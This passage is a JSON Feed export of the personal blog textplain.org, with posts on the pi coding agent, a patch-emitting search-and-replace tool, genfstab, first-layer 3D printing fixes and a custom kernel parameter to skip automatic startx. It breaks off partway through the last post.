{
  "version": "https://jsonfeed.org/version/1.1",
  "title": "text/plain",
  "home_page_url": "https://textplain.org/",
  "description": "Content-Type: text/plain",
  "author": {
    "name": "crdx"
  },
  "authors": [
    {
      "name": "crdx"
    }
  ],
  "items": [
    {
      "id": "2Fh9TKo2yyuUFEcWhH5GPQ",
      "url": "https://textplain.org/pi",
      "title": "in praise of pi",
      "content_html": "\u003cp\u003eWhen I was a teenager, I spent a \u003cem\u003elot\u003c/em\u003e of time on IRC. The client I used was \u003ca href=\"https://en.wikipedia.org/wiki/MIRC\" rel=\"noreferrer nofollow noopener\"\u003emIRC\u003c/a\u003e, one of the most popular at the time. Thing is, mIRC was not \u003cem\u003ejust\u003c/em\u003e an IRC client: it was a platform.\u003c/p\u003e\n\u003cp\u003eAside from all the usual chat-related features you'd expect, it also supported \u003cem\u003eself-improvement\u003c/em\u003e via \u003ca href=\"https://en.wikipedia.org/wiki/MIRC_scripting_language\" rel=\"noreferrer nofollow noopener\"\u003emIRC script\u003c/a\u003e. This was a dynamic, quirky, whitespace-sensitive, sigil-heavy, organically-grown scripting language that, in retrospect, I spent far too much time mastering. Because it was a relatively small language, I was determined to learn \u003cem\u003eeverything\u003c/em\u003e I could about it. The infinite sprawl of time afforded to us at that age was great.\u003c/p\u003e\n\u003cp\u003eI had a good reason though. Back then I used Windows, so I didn't have local access to a decent terminal or quick scripting environment. Thus mIRC became that tool, and while I used it to chat to my Internet Relay buddies, I'd also write aliases for common tasks, create bots (\u003cem\u003emany bots\u003c/em\u003e), and custom features to satisfy every whim, with entire \u003ca href=\"https://www.youtube.com/watch?v=hkDD03yeLnU\" rel=\"noreferrer nofollow noopener\"\u003eGUI interfaces\u003c/a\u003e for some of them\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003cp\u003eFast forward a \u003cem\u003every\u003c/em\u003e long time and I'm now a longtime Linux user, having left both mIRC and Windows behind. Fortunately my drive to customise and build has persisted and grown unbounded. The level of customisation I apply to my machines would look, to some, like the behaviour of a madman.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git log --oneline \u003cspan class=\"p\"\u003e|\u003c/span\u003e wc -l\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"m\"\u003e13030\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"the-new-world-of-agentic-software-development\"\u003ethe new world of agentic software development\u003c/h2\u003e\u003cp\u003eEverything has changed. To call it a divisive topic is an understatement, but one way or another, agentic software development is the future whether you like it or not.\u003c/p\u003e\n\u003cp\u003eClaude Code, OpenCode, Kilocode, Codex, Cursor, Gemini CLI, qwen-code, Windsurf. If you haven't noticed, every 3 minutes a new agent harness is released. Even if you can decide on which one you want to use, it's hard to keep up with the churn of releases as they push out 4 updates an hour, and a guarantee that upgrading at any given point will \u003ca href=\"https://x.com/mitsuhiko/status/2023739248545771786\" rel=\"noreferrer nofollow noopener\"\u003eleave you with \u003cem\u003esomething\u003c/em\u003e broken\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eI just need it to \u003cem\u003ecalm down\u003c/em\u003e for a bit. I've spent my development career living by the principle that if I use less than some arbitrary percent of features of a piece of software, and if it's feasible to do so\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, I will just write my own version. Sometimes it's good to be able to hit the pause button. My version may be simpler, more opinionated, and less configurable, but it's \u003cem\u003emine\u003c/em\u003e. It works exactly how I want, and I'm responsible for it. And that's good.\u003c/p\u003e\n\u003cp\u003eBack to agent harnesses. The landscape is restructured daily, but the core parts are few: chat I/O, tools, and \u003cem\u003eYou're absolutely right!\u003c/em\u003e The rest is optional. Everything else I can just create for myself, based on my needs. My ideal is not your ideal.\u003c/p\u003e\n\u003cp\u003eIf that sounds good to you, then you want to use \u003ca href=\"https://pi.dev\" rel=\"noreferrer nofollow noopener\"\u003epi\u003c/a\u003e: a coding agent by \u003ca href=\"https://mariozechner.at\" rel=\"noreferrer nofollow noopener\"\u003eMario Zechner\u003c/a\u003e. It flips the script followed by other coding agents: tiny core, huge extensibility. The bar is high for changes to make it into core, and a lot of its releases end up simply being improvements to the extension system. The idea is that you just use pi to extend and improve itself.\u003c/p\u003e\n\u003cp\u003eIs there a feature it doesn't have that you want? Use it to write an extension. Its default \u003ca href=\"https://github.com/badlogic/pi-mono/blob/4ba3e5be229a570187d8efbef5c14c0d5ce40dcc/packages/coding-agent/src/core/system-prompt.ts#L35-L188\" rel=\"noreferrer nofollow noopener\"\u003esystem prompt\u003c/a\u003e is \u003cem\u003etiny\u003c/em\u003e, and some of it is dedicated to telling the model where to find the pi documentation. If the documentation is lacking, you can also tell it to read the pi source code to find out how to do it.\u003c/p\u003e\n\u003cp\u003eThe result is a coding agent that works \u003cem\u003eexactly how you want it to\u003c/em\u003e. Your extensions, your agent, your world. There are plenty of \u003ca href=\"https://pi.dev/packages\" rel=\"noreferrer nofollow noopener\"\u003epublished extensions\u003c/a\u003e for inspiration, or to use as they come. However, I'd argue that you're better off using them only as inspiration and to get your clanker to customise them for your workflow, because naturally you're highly opinionated and like it \u003cem\u003eyour way\u003c/em\u003e, right? Same.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eI'm pretty sure I had over 10Kloc of mIRC script at one point, not counting everything that I'd deleted.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eSome notable exceptions here.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2026-03-08T00:00:00Z"
    },
    {
      "id": "pG7xSSYPeW3o54B6OwbeLw",
      "url": "https://textplain.org/sr",
      "title": "composable search and replace",
      "content_html": "\u003cp\u003eOver the years the tool I've turned to for mass search and replace operations has varied. Nothing in particular felt like the right balance between ease of use and power, so I made my own.\u003c/p\u003e\n\u003cp\u003eBut first, let's look at the existing options.\u003c/p\u003e\n\u003ch2 id=\"your-favourite-text-editor\"\u003eYour favourite text editor\u003c/h2\u003e\u003cp\u003eThe easiest option may be the text editor you already know and love, but there's no guarantee \u003cem\u003egood at editing text\u003c/em\u003e means \u003cem\u003egood at search and replace\u003c/em\u003e, even if it's conveniently at arm's reach.\u003c/p\u003e\n\u003cp\u003eFor example, it might be scoped to the current file by default (vim\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e), making it awkward to expand the scope to your whole project.\u003c/p\u003e\n\u003cp\u003eSublime Text's search and replace is powerful enough but due to its GUI nature, you get zero scripting capabilities.\u003c/p\u003e\n\u003ch2 id=\"sed\"\u003esed\u003c/h2\u003e\u003cp\u003e\u003ccode\u003esed\u003c/code\u003e is ubiquitous, but it's also awkward.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt's stream-oriented, not file-oriented.\u003c/li\u003e\n\u003cli\u003eIt doesn't support \u003cabbr title=\"Perl-compatible Regular Expressions\"\u003ePCRE\u003c/abbr\u003e features and syntax, the regex engine you are likely most familiar with. Instead you get POSIX \u003cabbr title=\"Basic Regular Expressions\"\u003eBRE\u003c/abbr\u003e and \u003cabbr title=\"Extended Regular Expressions\"\u003eERE\u003c/abbr\u003e, both of which have their quirks, to say the least.\u003c/li\u003e\n\u003cli\u003eThe search and replace patterns need to be passed as a single argument, so correctly escaping them is error prone.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sd\"\u003esd\u003c/h2\u003e\u003cp\u003e\u003ca href=\"sd\" rel=\"noreferrer nofollow noopener\"\u003e\u003ccode\u003esd\u003c/code\u003e\u003c/a\u003e is a modern sed alternative which addresses \u003cem\u003esome\u003c/em\u003e of the pain points of sed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUses Rust's \u003ccode\u003eregex\u003c/code\u003e crate for regular expressions, so you get something a bit closer to PCRE.\u003c/li\u003e\n\u003cli\u003ePasses the search and replace patterns as separate arguments, eliminating one layer of escaping.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIt \u003cem\u003edoes\u003c/em\u003e have a \u003ccode\u003e--preview\u003c/code\u003e flag, but this is similar to sed in that it shows the end result only. It's still just a display format.\u003c/p\u003e\n\u003ch2 id=\"whats-missing\"\u003eWhat's missing?\u003c/h2\u003e\u003cp\u003eComposition and preview.\u003c/p\u003e\n\u003cp\u003eWhat most tools have in common is that once you've decided on your inputs and execute, it just... does it. Did you make any mistakes? Your files are now clobbered. You'll be glad you kept your repo's working tree clean before you started.\u003c/p\u003e\n\u003cp\u003eAllow me to introduce you to \u003ca href=\"https://github.com/crdx/sr\" rel=\"noreferrer nofollow noopener\"\u003e\u003ccode\u003esr\u003c/code\u003e\u003c/a\u003e\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, a composable command-line search-and-replace tool for developers.\u003c/p\u003e\n\u003cp\u003eHow is it composable? Well, it doesn't actually modify any of your files.\u003c/p\u003e\n\u003cp\u003eInstead it outputs a patch that \u003cem\u003ewould\u003c/em\u003e apply the changes, which can then be passed to \u003ccode\u003epatch -p0\u003c/code\u003e (or equivalent) to actually do the work. This patch is just a sequence of diffs: a familiar sight to any developer who works with source control systems like git.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003efind -name \u003cspan class=\"s1\"\u003e\u0026#39;*.go\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e sr oldFunc newFunc \u003cspan class=\"p\"\u003e|\u003c/span\u003e patch -p0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e(More examples can be found in the \u003ca href=\"https://github.com/crdx/sr\" rel=\"noreferrer nofollow noopener\"\u003eREADME\u003c/a\u003e.)\u003c/p\u003e\n\u003cp\u003eThis difference is key. You can see the changes \u003cem\u003ebefore\u003c/em\u003e they are applied. You can redirect the output to a file and manually review and edit the patch before applying it. You can concatenate the output from many different search operations into one patch that can be applied at a later stage. You get it.\u003c/p\u003e\n\u003cp\u003eThere's no reason search and replace can't follow the Unix philosophy too.\u003c/p\u003e\n\u003cp\u003eNote that \u003ccode\u003esr\u003c/code\u003e uses \u003ca href=\"https://pkg.go.dev/regexp/syntax\" rel=\"noreferrer nofollow noopener\"\u003eGo's regex library\u003c/a\u003e, so you get a similar experience to \u003ccode\u003esd\u003c/code\u003e in terms of regex support. Both Rust's regex crate and Go's stdlib decided on guaranteed linear-time matching, so this means the full set of PCRE features is not available. Specifically lookaheads, lookbehinds, backreferences, backtracking and such won't work.\u003c/p\u003e\n\u003cp\u003eIt also uses separate arguments for search and replace patterns, so you only have to deal with one level of escaping.\u003c/p\u003e\n\u003cp\u003eYou can find more information along with usage examples in \u003ca href=\"https://github.com/crdx/sr\" rel=\"noreferrer nofollow noopener\"\u003ethe repo\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eEnjoy!\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eI know there are ways.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e... which stands for \u003cem\u003esearch-replace\u003c/em\u003e. You're right, I \u003cem\u003eam\u003c/em\u003e great at naming things!\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2026-02-10T00:00:00Z"
    },
    {
      "id": "7owvFFsrnQpnoBLtYin1cA",
      "url": "https://textplain.org/genfstab",
      "title": "an easy way to save your disk config",
      "content_html": "\u003cp\u003eHave you ever mounted an external disk with the \u003cem\u003eexact\u003c/em\u003e mount attributes that you need, then realised now you have to translate them from command line flags into the \u003ccode\u003e/etc/fstab\u003c/code\u003e equivalents?\u003c/p\u003e\n\u003cp\u003eUnfortunately you can't reconstruct the minimal effective option set directly the command you typed, because the kernel normalises it into canonical form.\u003c/p\u003e\n\u003cp\u003eHowever, you \u003cem\u003ecan\u003c/em\u003e do it using \u003ca href=\"https://man.archlinux.org/man/genfstab.8\" rel=\"noreferrer nofollow noopener\"\u003e\u003ccode\u003egenfstab\u003c/code\u003e\u003c/a\u003e from the \u003ccode\u003earch-install-scripts\u003c/code\u003e package\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003cp\u003eThis is a shell script designed for use when installing Arch Linux. It's \u003cem\u003esupposed\u003c/em\u003e to be used to generate the entire contents of \u003ccode\u003e/etc/fstab\u003c/code\u003e based on your fresh installation running within a chroot, but it can still be useful for generating partial fstab lines.\u003c/p\u003e\n\u003cp\u003eUsing it is simple: after your disk is mounted the way you like, just run \u003ccode\u003egenfstab -U\u003c/code\u003e. Copy the line that corresponds to your disk and put it in your actual \u003ccode\u003e/etc/fstab\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003e-U\u003c/code\u003e flag tells it to use UUIDs, which is almost certainly what you want. The default is to use device paths like \u003ccode\u003e/dev/sda1\u003c/code\u003e which have no stability guarantees and will come back to bite you one day.\u003c/p\u003e\n\u003cp\u003eFor more information see the \u003ca href=\"https://wiki.archlinux.org/title/Genfstab\" rel=\"noreferrer nofollow noopener\"\u003eArch Linux Wiki entry for genfstab\u003c/a\u003e or the \u003ca href=\"https://man.archlinux.org/man/genfstab.8\" rel=\"noreferrer nofollow noopener\"\u003eman page\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eIf you don't use Arch Linux (why not?), there's also a \u003ca href=\"https://github.com/glacion/genfstab/tree/master\" rel=\"noreferrer nofollow noopener\"\u003estandalone fork\u003c/a\u003e.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2026-01-29T00:00:00Z"
    },
    {
      "id": "UwPJxPyNYYSj0FOqvk5GNA",
      "url": "https://textplain.org/first-layer",
      "title": "the difficult first layer",
      "content_html": "\u003cp\u003eIn \u003cabbr title=\"Fused Deposition Modeling (also known as Fused Filament Fabrication (FFF))\"\u003eFDM\u003c/abbr\u003e 3D printing, the first layer of filament is both the most important \u003cem\u003eand\u003c/em\u003e the hardest one to get right. Some say that the perfect first layer is \u003ca href=\"https://old.reddit.com/r/FirstLayerPorn/\" rel=\"noreferrer nofollow noopener\"\u003ebeyond the capabilities of mere mortals\u003c/a\u003e. It sometimes certainly feels like it.\u003c/p\u003e\n\u003cp\u003eMost imperfections get hidden under the hundreds of layers that sit above them, but sometimes you want to print a model that's very, very thin. So thin that one part of it is only one layer thick. In this case it was the windows for a \u003ca href=\"https://makerworld.com/en/models/1175061-minecraft-lantern-tealight?from=search#profileId-1184069\" rel=\"noreferrer nofollow noopener\"\u003eMinecraft lantern\u003c/a\u003e, which have to be as thin as possible to allow light through.\u003c/p\u003e\n\u003cp\u003eI have a \u003ca href=\"https://uk.store.bambulab.com/products/a1\" rel=\"noreferrer nofollow noopener\"\u003eBambu Lab A1\u003c/a\u003e. The great thing about Bambu Lab printers is that despite running for over 1000 hours, I've had to do very little maintenance aside from the occasional axis lubrication and consumable part replacement. They really are amazing machines, which is why it took me so long to realise something was wrong.\u003c/p\u003e\n\u003cp\u003eThe problem with an issue that manifests itself slowly is that you don't notice it happening, and a year later you wonder if the first layer of your prints always looked this bad.\u003c/p\u003e\n\u003cp\u003eBehold.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/first-layer/windows_bad.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/windows_bad.jpg\" alt=\"3D printed lantern windows with rough, uneven first layer showing severe over-extrusion\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eThese are NOT good windows\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eTo my eyes that looked like over-extrusion. I tried all the obvious things, like ensuring the bed was clean, running the built-in calibration, and even replacing the hotend which was due a replacement anyway, to no avail. Then I stumbled upon a page \u003ca href=\"https://wiki.bambulab.com/en/a1-mini/troubleshooting/print-issues-troubleshooting\" rel=\"noreferrer nofollow noopener\"\u003especifically for first layer issues\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eIt suggested to take apart the panel behind the hotend and ensure the screws behind it were tight, as this could cause the hotend to be slightly loose. As you might expect, looseness and sub-millimetre precision don't go very well together.\u003c/p\u003e\n\u003cdiv class=\"images\"\u003e\n    \u003cfigure\u003e\n        \u003cimg src=\"/first-layer/hotend_3screws.jpg\" alt=\"Front of the Bambu Lab A1 printer with hotend removed, showing three screw holes\"\u003e\n        \u003cfigcaption\u003eFront with hotend removed\u003c/figcaption\u003e\n    \u003c/figure\u003e\n    \u003cfigure\u003e\n        \u003cimg src=\"/first-layer/hotend_4screws.jpg\" alt=\"Front of the Bambu Lab A1 printer with panel removed, revealing four screws behind the hotend\"\u003e\n        \u003cfigcaption\u003eFront with panel removed\u003c/figcaption\u003e\n    \u003c/figure\u003e\n\u003c/div\u003e\n\u003cp\u003eThey \u003cem\u003ewere\u003c/em\u003e loose. I have no idea how gradually they loosened, but checking if they need tightening is not one of the \u003ca href=\"https://wiki.bambulab.com/en/a1/maintenance/basic-maintenance\" rel=\"noreferrer nofollow noopener\"\u003erecommended regular maintenance steps\u003c/a\u003e for this printer, which feels like an oversight. After tightening them up good and proper, I tried printing the windows again, and it was a beautiful sight.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/first-layer/windows_good_wip.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/windows_good_wip.jpg\" alt=\"Lantern windows being 3D printed with smooth, even first layer\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eGood windows in progress (WIP)\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eUnfortunately, a side-by-side comparison in the same lighting conditions is not possible because I threw out the bad prints already. While the lighting conditions vary, the difference should be evident.\u003c/p\u003e\n\u003cdiv class=\"images\"\u003e\n    \u003cfigure\u003e\n        \u003ca href=\"/first-layer/windows_bad.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/windows_bad.jpg\" alt=\"3D printed lantern windows with rough, uneven first layer showing severe over-extrusion\"\u003e\u003c/a\u003e\n        \u003cfigcaption\u003eNo\u003c/figcaption\u003e\n    \u003c/figure\u003e\n    \u003cfigure\u003e\n        \u003ca href=\"/first-layer/windows_good.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/windows_good.jpg\" alt=\"3D printed lantern windows with smooth, even first layer\"\u003e\u003c/a\u003e\n        \u003cfigcaption\u003eYes\u003c/figcaption\u003e\n    \u003c/figure\u003e\n\u003c/div\u003e\n\u003cp\u003eProblem solved, I thought. Not quite.\u003c/p\u003e\n\u003cp\u003eWhen I tried the same print on another type of build plate, I noticed the same issues occurring again, though much less. This time it was due to the initial layer flow ratio, which is how much filament is extruded from the hotend for the first layer.\u003c/p\u003e\n\u003cp\u003eI use two types of build plate: \u003ca href=\"https://uk.store.bambulab.com/products/bambu-textured-pei-plate?t=1756042086243\u0026amp;id=40658680119356\" rel=\"noreferrer nofollow noopener\"\u003eTextured \u003cabbr title=\"Polyetherimide\"\u003ePEI\u003c/abbr\u003e\u003c/a\u003e and \u003ca href=\"https://uk.store.bambulab.com/products/bambu-cool-plate-supertack?id=532429530180194307\" rel=\"noreferrer nofollow noopener\"\u003eSmooth (Supertack)\u003c/a\u003e. Due to the texture, the windows print perfectly on the textured plate using the default flow ratio, but not the smooth plate. Since it's over-extrusion that we're dealing with, the tiny valleys in the textured plate absorb any excess filament, whereas on the smooth plate there's nowhere for them to go than up into visible peaks and ridges.\u003c/p\u003e\n\u003cp\u003eThere are \u003ca href=\"https://makerworld.com/en/models/1096452-initial-layer-flow-ratio-calibration-test\" rel=\"noreferrer nofollow noopener\"\u003eprints designed to calibrate the flow ratio\u003c/a\u003e for filament and plate combinations. I thought it would be worth comparing the results for both plates with the same filament.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/first-layer/calibration_textured.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/calibration_textured.jpg\" alt=\"Flow ratio calibration test printed on textured PEI plate\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eThe textured plate\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/first-layer/calibration_smooth.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/calibration_smooth.jpg\" alt=\"Flow ratio calibration test printed on smooth supertack plate\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eThe smooth plate\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eThe textured plate looks pretty good at the default flow ratio of 1, but for the smooth plate it's clearly extruding too much. The best initial flow ratio appears to be 0.8 for this plate and filament combination.\u003c/p\u003e\n\u003cp\u003eIn Bambu Studio the initial layer flow ratio is hidden behind developer mode, for some reason. To enable it, go to Preferences and enable \u0026quot;Develop Mode\u0026quot; [sic], then set the initial layer flow ratio under \u003cstrong\u003eQuality → Advanced → Initial layer flow ratio\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eThis change allowed me to print the windows perfectly on the smooth plate as well.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eFor a final test, I found another print where the bottom layer is the top of the model, so a smoother bottom layer means a better quality end result. After adjusting the ratio and reprinting it, the difference was subtle but significant.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003ca href=\"/first-layer/result_bottom.jpg\" rel=\"noreferrer nofollow noopener\" target=\"_blank\"\u003e\u003cimg src=\"/first-layer/result_bottom.jpg\" alt=\"Bottom surface of a 3D printed model showing improved smoothness after flow ratio adjustment\"\u003e\u003c/a\u003e\n    \u003cfigcaption\u003eLike water off a chicken's back\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eUnfortunately setting the ratio to 0.8 for all prints with the smooth plate is not a silver bullet, as it also depends on the filament. I've since had several prints where 0.8 caused under extrusion for the bottom layer, so it would have been better to just stick with the default.\u003c/p\u003e\n\u003cp\u003eRunning the calibration test for every filament and plate combination isn't practical, but at least now you know how to debug issues when the quality really matters.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003ePrinting the calibration on both plates wasn't strictly necessary to fix the windows, but understanding the \u003cem\u003ewhy\u003c/em\u003e is important to me.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2025-11-30T00:00:00Z"
    },
    {
      "id": "ce6Ei9qKAg6jDnLDDhUJOw",
      "url": "https://textplain.org/kernel-param",
      "title": "make your own kernel parameter",
      "content_html": "\u003cp\u003eAnother day, \u003ca href=\"https://bbs.archlinux.org/viewtopic.php?id=305727\" rel=\"noreferrer nofollow noopener\"\u003eanother\u003c/a\u003e \u003ca href=\"https://forum.endeavouros.com/t/mesa-gnome-fails-to-start-after-update-to-25-1-1-1/71669\" rel=\"noreferrer nofollow noopener\"\u003eNvidia\u003c/a\u003e \u003ca href=\"https://old.reddit.com/r/archlinux/comments/1kts5qh/fixed_mesa_125111_nouveau_causes_problems_with/\" rel=\"noreferrer nofollow noopener\"\u003eissue\u003c/a\u003e. More specifically, the latest version of mesa (25.1.1) has updated and the poor souls who own Nvidia cards running with nouveau will experience a full system freeze on X startup.\u003c/p\u003e\n\u003cp\u003eThis is not that rare. In the many years I've been running Arch Linux, almost every single issue after an upgrade has been in some way or another linked to the stupid mistake I made when I purchased an Nvidia graphics card. Unfortunately, back then I didn't know about \u003ca href=\"https://www.youtube.com/watch?v=xPh-5P4XH6o\u0026amp;t=103s\" rel=\"noreferrer nofollow noopener\"\u003eNvidia's reputation with Linux\u003c/a\u003e, and I've been paying the price ever since.\u003c/p\u003e\n\u003cp\u003eAnyway.\u003c/p\u003e\n\u003cp\u003eI don't bother with a display manager, as it's just another \u003ca href=\"/arch-simple\" rel=\"noreferrer nofollow noopener\"\u003epiece of software I don't need\u003c/a\u003e. I generally always want to boot straight into X, so I simply call \u003ccode\u003estartx\u003c/code\u003e in \u003ccode\u003e.profile\u003c/code\u003e:\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"o\"\u003e[[\u003c/span\u003e ! \u003cspan class=\"nv\"\u003e$TMUX\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ! \u003cspan class=\"nv\"\u003e$DISPLAY\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ! \u003cspan class=\"nv\"\u003e$SSH_CONNECTION\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$XDG_VTNR\u003c/span\u003e -eq \u003cspan class=\"m\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e]]\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e which startx \u003cspan class=\"p\"\u003e\u0026amp;\u003c/span\u003e\u0026gt;/dev/null\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eexec\u003c/span\u003e startx\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThese conditions ensure that\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewe're not in tmux\u003c/li\u003e\n\u003cli\u003eX isn't running (\u003ccode\u003e$DISPLAY\u003c/code\u003e is empty)\u003c/li\u003e\n\u003cli\u003ethis isn't an \u003cabbr title=\"Secure Shell\"\u003eSSH\u003c/abbr\u003e connection\u003c/li\u003e\n\u003cli\u003ethe current tty is 1\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estartx\u003c/code\u003e actually exists\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis has worked fine forever, but the aforementioned X crash resulted in a completely unusable system, requiring a reboot. Of course, that's not a big deal: I can boot into archiso from a pen drive, mount my disks, \u003ccode\u003earch-chroot\u003c/code\u003e back in, and fix it\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003cp\u003eThe part that was most annoying was that I could have fixed this without booting from the iso, if only I had some way of preventing the automatic running of \u003ccode\u003estartx\u003c/code\u003e. As you can see in the snippet, I have no way of (even temporarily) disabling it, and that's what I want to fix.\u003c/p\u003e\n\u003cp\u003eSo, what \u003cem\u003edo\u003c/em\u003e I have control over before my system boots? In reality, not very much, leaving only one obvious solution for this. It was already spoiled in the title of this post: I can make changes to the kernel command line from the boot menu, so I'll create my own parameter.\u003c/p\u003e\n\u003cp\u003eNot much is involved in \u0026quot;creating\u0026quot; one, since the kernel and system will just ignore any it doesn't recognise. You just start using the one you want and make the software on the other end read the value and act upon it. The responsibility falls on the user to pick one that doesn't conflict with any others, lest they discover unforeseen side effects.\u003c/p\u003e\n\u003cp\u003eSince absolutely anyone (and their dog) can invent their own, there is no exhaustive list. The \u003ca href=\"https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html\" rel=\"noreferrer nofollow noopener\"\u003ekernel documentation\u003c/a\u003e lists all the official ones, and well-behaved software normally namespaces their own, like \u003ca href=\"https://www.freedesktop.org/software/systemd/man/latest/kernel-command-line.html\" 